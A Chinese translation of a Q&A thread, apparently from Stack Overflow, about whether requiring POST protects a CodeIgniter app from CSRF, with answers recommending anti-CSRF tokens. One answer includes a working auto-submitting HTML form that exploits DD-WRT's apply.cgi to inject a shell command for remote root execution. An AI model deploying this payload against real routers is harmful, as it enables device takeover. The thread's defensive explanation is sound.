我的应用程序中有一些像http://mysite.com/module/45/set_name/new-name
这样的网址,可以使用ajax进行访问。
为了防止XSRF,我强制要求POST
这样的请求。使用GET
使用以下内容生成XSRF非常简单:
<img src="http://mysite.com/module/45/set_name/new-name"/>
使用POST
可以防止此特定攻击,但这实际上比使用GET
更安全吗?如果没有,还可以/应该做什么?
感谢。
编辑:我正在使用CodeIgniter并在我的配置中包含以下内容:
$config['csrf_protection'] = TRUE;
$config['csrf_token_name'] = 'csrf_test_name';
$config['csrf_cookie_name'] = 'csrf_cookie_name';
$config['csrf_expire'] = 3600;
我安全吗?拥有CSRF是否有任何缺点?表格在一小时后到期?
答案 0 :(得分:4)
单独使用POST是不够的,因为有人可以使用隐藏的输入元素制作表单并自动将其提交到您的网站。它不像具有GET请求的img元素那么容易,但它仍然是可能的。您应该使用的是POST参数中的某种形式的验证,例如随机值或会话令牌,不像cookie那样不会在XSRF请求中发送。
答案 1 :(得分:3)
不改变帖子不能解决这个问题。你应该阅读Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet。
以下是我编写的基于概念POST的CSRF漏洞利用示例。这样就可以remote root access to DD-WRT:
<html>
<form method="post" action="http://192.168.1.1/apply.cgi" id=1>
<input name="submit_button" value="Ping" type="hidden">
<input name="action" value="ApplyTake" type="hidden">
<input name="submit_type" value="start" type="hidden">
<input name="change_action" value="gozila_cgi" type="hidden">
<input name="next_page" value="Diagnostics.asp" type="hidden">
<input name="ping_ip" value="echo owned">
<input name="execute command" type="submit">
</form>
</html>
<script>
document.getElementById(1).submit();//remote root command execution!
</script>
答案 2 :(得分:1)
为什么不检查随请求一起发送的推荐人?图像src
和javascript发送的表单都会通知您该请求是从其他主机发送的,您可以阻止该请求。
答案 3 :(得分:0)
你错了这个问题 你真正的问题完全不同 - 你正在使用不正确的方法。
当正确使用GET方法时,从服务器检索数据无法进行CSRF攻击。
因此,如果您的请求改变了服务器端的数据,那么无论如何都要将其更改为POST,尽管存在所有这些浪漫和惊吓的东西,如CSRF,XSS等。 这只是一个technology basics。
至于CSRF本身,它根本不是什么大问题。只需确保所有表单都包含一些反csrf令牌(也存储在会话中),所有POST表单处理程序都会验证它。